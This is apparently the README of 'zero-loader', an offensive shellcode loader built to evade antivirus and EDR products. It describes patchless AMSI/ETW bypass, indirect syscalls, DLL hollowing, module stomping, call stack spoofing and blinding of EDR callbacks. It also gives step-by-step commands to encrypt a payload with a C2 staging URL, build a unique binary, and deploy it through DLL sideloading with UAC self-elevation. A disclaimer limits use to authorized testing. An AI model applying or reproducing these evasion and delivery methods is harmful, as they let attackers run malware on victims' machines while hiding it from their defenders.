zero-loader

Polymorphic x64 shellcode loader

Zero CRT. Zero static signatures. Zero trace in the call stack.

Every build produces a unique binary — nothing matches across compilations.

Warning

This project is intended for authorized security testing, research, and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for misuse.

Overview

Most loaders get flagged because they ship the same binary. zero-loader regenerates all cryptographic material on every build — keys, nonces, string encoding, PE metadata. No two compilations share a hash.

Features

Evasion

Indirect Syscalls	SSN sourced from a clean \KnownDlls\ntdll.dll section (defeats userland hooks on ntdll). 64 syscall;ret gadgets pooled, randomly selected per call via RDTSC. Hooked-stub fallback for neighbour-SSN recovery
Patchless AMSI/ETW	VEH + hardware breakpoints (DR0/DR1) via NtContinue — zero bytes modified, passes integrity checks
Phantom DLL Hollowing	Auto-scans System32 for suitable DLL → copies to temp → NTFS transaction → SEC_IMAGE → rollback. EDR sees legitimate DLL-backed memory
Module Stomping + .pdata	Overwrite signed DLL .text with shellcode, then register a synthetic RUNTIME_FUNCTION via RtlAddFunctionTable. Defeats Elastic 8.11+ kernel ETW callstack validation that flags stomped regions with no .pdata entry
Poison Fiber Kick-off	Primary execution path is ConvertThreadToFiber + SwitchToFiber on the main thread — no new OS thread, so PsSetCreateThreadNotifyRoutine never fires. Thread-pool fallback if fiber APIs unavailable
Multi-module Call Stack Spoofing	FF D3 (call rbx) gadgets pooled from ntdll / kernel32 / kernelbase (up to 64); per-run RDTSC pick defeats "single return-address frequency" heuristics. All frames resolve to legitimate modules
Wait:UserRequest keep-alive	Alertable NtWaitForSingleObject(NtCurrentProcess) instead of NtDelayExecution, so the thread's WaitReason reads UserRequest — beats Hunt-Sleeping-Beacons / BeaconHunter fingerprints
Anti-Analysis	PEB debugger flag, NtGlobalFlag, CPU count, RDTSC timing delta
IAT Camouflage	Dead-code benign imports the optimizer cannot eliminate
Blind DLL Notifications	Walks and unlinks all EDR LdrRegisterDllNotification callbacks — subsequent LoadLibrary invisible
DLL preload shuffle	After blinding, amsi/wininet/ktmw32 are preloaded in a RDTSC-seeded Fisher-Yates order so the remaining kernel-ETW image-load sequence is unpredictable
Exit Hook	Patches RtlExitUserProcess with PAUSE loop — prevents host exit from killing C2 (DLL sideload)
Post-Exec Cleanup	Removes VEH, clears DR0/DR1/DR7 via NtContinue, wipes keys/URLs/nonces before shellcode execution

Crypto & Staging

Chaskey-12 CTR	ARX block cipher — pure ALU, no S-boxes, no lookup tables, no RC4 signatures
LZNT1 Compression	Compressed before encryption, decompressed at runtime via ntdll
Polymorphic Strings	4-byte rotating XOR across 25+ strings, keys regenerated every build
PE Mutation	TimeDateStamp, Rich header, section padding, checksum — randomized post-build
Entropy Balancing	Section padding filled with natural-language strings (API names, HTTP headers, lorem ipsum) so overall section entropy stays in the 4.5-6.5 bit/byte range, dodging Defender ML / ESET / Sophos high-entropy heuristics
HTTPS Staging	Dynamic WinINet + InternetCrackUrlA + self-signed cert bypass
W^X Memory	PAGE_EXECUTE_READ default. RWX_SHELLCODE flag for Go-based implants

DLL Sideloading

Export Forwarding	Auto-generated linker pragmas — PE loader handles all legitimate API calls natively
Version Info Cloning	Extracts and reproduces VS_VERSIONINFO from target DLL
Process Persistence	RtlExitUserProcess patch + LdrAddRefDll pin — DLL survives host exit
Optional UAC	uac build flag enables self-relaunch elevation via ShellExecuteA("runas")
Loader Lock Safe	DllMain uses ntdll-only APIs; loader pipeline deferred to thread pool

Quick Start

# 1  Encrypt & compress shellcode
python Encrypt.py payload.bin --url https://<C2>:<PORT>/payload.dat

# 2  Build
build.bat                                  # EXE
build.bat uac                              # EXE with UAC manifest

# 3  Deploy — upload data.enc to staging server, deliver the EXE

Re-run steps 1 & 2 for a completely new binary.

Web Console (optional)

A browser-based wrapper for the three CLI steps above (encrypt / sideload / build). Runs on 127.0.0.1 only — no auth, not meant to be exposed to a network.

cd web
run.bat            # first run creates .venv and installs Flask
                   # then starts http://127.0.0.1:7890

The console streams build.bat output live, shows per-section entropy from Mutate.py, and exposes every compile-time flag (DEBUG, RWX_SHELLCODE, ENABLE_SYNTHETIC_STACK, uac) as a checkbox. Built artifacts appear in the sidebar with one-click download.

DLL Sideloading

# 1  Generate export forwarding
python SideloadGen.py C:\Windows\System32\<target>.dll

# 2  Encrypt shellcode
python Encrypt.py payload.bin --url https://<C2>:<PORT>/payload.dat

# 3  Build
build.bat sideload <target>.dll            # no UAC
build.bat sideload <target>.dll uac        # self-relaunch UAC

# 4  Deploy
#    Rename real <target>.dll → <target>_orig.dll
#    Place proxy <target>.dll + <target>_orig.dll alongside host EXE
#    Upload data.enc to staging server, run host EXE

Build Flags

Edit Common.h or pass via build.bat:

Flag	Default	Purpose
DEBUG	Off	Logging to debug.log, skips anti-analysis
RWX_SHELLCODE	Off	PAGE_EXECUTE_READWRITE for Go/Sliver
BUILD_DLL	Off	DLL sideload build (set by build.bat sideload)
REQUIRE_ELEVATION	Off	Self-relaunch UAC for DLL sideload (build.bat sideload ... uac)
ENABLE_SYNTHETIC_STACK	Off	Swap RSP to a 1 MB synthetic stack with three fake ntdll/kernel32 return addresses before shellcode runs (Draugr MVP). Disabled by default — the heap allocation and borrowed .pdata coverage are themselves heuristic signals; enable only after validating with Moneta / Pe-Sieve / WinDbg stack-walk in the target environment

Requirements

• Windows 10/11 x64
• Visual Studio 2022+ (MSVC + ml64)
• Python 3.x

Architecture

Execution Chain

Main()
 │
 ├─ IatCamouflage              pad IAT with benign imports
 ├─ AntiAnalysis               PEB · NtGlobalFlag · RDTSC
 ├─ InitializeNtSyscalls       single-pass export scan
 │                              └ SwitchToCleanNtdll (\KnownDlls\ntdll.dll)
 │                              └ 64-entry syscall;ret gadget pool
 ├─ InitializeWinApis          FindLoadedModuleW → kernel32 → JOAAT resolve
 ├─ BlindDllNotifications      unlink LdrRegisterDllNotification entries
 ├─ ShufflePreloadLibraries    Fisher-Yates (RDTSC) amsi/wininet/ktmw32
 ├─ PatchlessAmsiEtw           DR0 = EtwEventWrite
 │                              DR1 = AmsiScanBuffer
 ├─ BruteForceDecryption       recover Chaskey key
 ├─ DownloadPayload            HTTPS GET → encrypted blob
 ├─ ChaskeyCtrDecrypt          in-place decryption
 ├─ DecompressPayload          LZNT1 via RtlDecompressBuffer
 │
 ├─ ┌ PhantomDllHollow ─────── NTFS txn → SEC_IMAGE → rollback
 ├─ │ ModuleStomp ──────────── overwrite .text + RtlAddFunctionTable
 ├─ └ NtAllocateVirtualMemory  private RW → RX  (last resort)
 │
 ├─ CleanupEvasion             wipe VEH · DR regs · keys · URLs
 ├─ CollectCallGadgets         pool FF D3 from ntdll/kernel32/kernelbase
 ├─ GetRandomCallGadget        RDTSC pick
 ├─ SetSpoofTarget             configure ASM trampoline
 ├─ [opt] BuildSyntheticStack  1 MB fake stack · 3 ntdll/k32 anchors
 │
 ├─ ConvertThreadToFiber       primary: Poison Fiber on main thread
 ├─ CreateFiber(SpoofCallback)
 └─ SwitchToFiber              never returns — shellcode runs on fiber
       ↳ fallback if fiber APIs unavailable:
         TpAllocWork / TpPostWork + alertable NtWaitForSingleObject

DLL Sideload Flow

Host EXE loads proxy DLL → DllMain
 │
 ├─ PEB walk → find ntdll
 ├─ InstallExitHook            patch RtlExitUserProcess (PAUSE loop)
 ├─ TpAllocWork(SideloadWorker) → TpPostWork → return TRUE
 │   [Host app continues, ExitProcess blocked]
 │
 └─ SideloadWorker (thread pool)
     ├─ [uac] IsElevated? → no: ShellExecuteA "runas" → terminate self
     ├─ LdrAddRefDll           pin DLL in memory
     └─ Main()                 full loader pipeline

Call Stack

Default (Poison Fiber path):

 RIP  shellcode           ← phantom/stomped DLL .text
  ↓   call rbx gadget     ← ntdll / kernel32 / kernelbase (randomized)
  ↓   fiber entry frame   ← fiber-allocated stack

With ENABLE_SYNTHETIC_STACK the fiber stack is replaced by a pre-built synthetic chain:

 RIP  shellcode                    ← phantom/stomped DLL .text
  ↓   call-gadget return           ← ntdll / kernel32 / kernelbase
  ↓   NtWaitForSingleObject + 0x20 ← ntdll
  ↓   RtlUserThreadStart    + 0x20 ← ntdll
  ↓   BaseThreadInitThunk   + 0x20 ← kernel32

Stomped regions carry a synthetic RUNTIME_FUNCTION registered via RtlAddFunctionTable, so RtlLookupFunctionEntry(rip) returns a valid handle and the stackwalker can unwind each frame.

Encryption Pipeline

  Build time                              Runtime
  ──────────                              ───────

  shellcode.bin                     HTTPS download
       │                                 │
  LZNT1 compress                    Chaskey-CTR decrypt
       │                                 │
  Chaskey-CTR encrypt ─→ data.enc ─→ LZNT1 decompress
       │                                 │
  key protection                    brute-force recovery
  (XOR + offset)
       │
  Payload.h
  (randomized keys, nonce, strings)

Project Layout

main.c              orchestrates the execution chain
Syscalls.h/.c       indirect syscall engine · SSN + gadget pool
AsmStub.asm         x64 MASM · RunSyscall · SpoofCallback
WinApi.c            PEB walking · JOAAT hashing · CRT stubs
Evasion.c           patchless AMSI/ETW · anti-analysis · cleanup
Stomper.c           phantom hollowing (auto DLL scan) · module stomping · gadgets
Crypt.c             Chaskey-12 CTR · LZNT1 · key recovery
Staging.c           HTTPS staging · cert bypass
Common.h            defines · hashes · typedefs · macros
Structs.h           undocumented NT structures
Payload.h           auto-generated (never edit)
Sideload.c          DLL entry point · exit hook · elevation
SideloadGen.py      export forwarding generator · version info cloning
Sideload.h          auto-generated export forwards (never edit)
Sideload.rc         auto-generated version info (never edit)
Encrypt.py          encryption + compression + obfuscation
Mutate.py           post-build PE metadata randomizer
build.bat           ml64 → cl → Mutate.py